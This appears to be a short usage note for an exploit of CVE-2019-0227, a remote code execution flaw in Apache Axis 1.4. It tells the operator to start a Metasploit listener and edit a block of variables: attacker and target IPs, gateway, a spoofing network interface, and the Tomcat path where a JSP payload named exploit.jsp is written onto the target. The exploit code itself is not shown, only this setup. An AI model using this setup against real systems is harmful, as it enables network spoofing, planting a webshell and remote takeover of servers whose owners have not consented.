cve-2019-0227

Apache Axis 1.4 remote code execution vulnerability You need to set up a listener on the local machine with msf, and also modify lines 24-30 of the code.

＃You need to change these variables to match your configuration myip = “ 192.168.0.117 ” ＃Your machine's IP target = “ 192.168.0.102 ” ＃Target IP gateway = “ 192.168.0.1 ” ＃Default gateway targetport = “ 8080 ” ＃Port on which the target is running Axis (likely 8080) pathtoaxis = “ http://192.168.0.102:8080/axis ” ＃This can be customized depending on the Axis installation, but this is the default spoofinterface = “ eth0 ” ＃Interface to be used for spoofing jspwritepath = “ webapps \ axis \ exploit.jsp ” ＃Relative path for writing the JSP payload on the target; this is the default path for Tomcat installations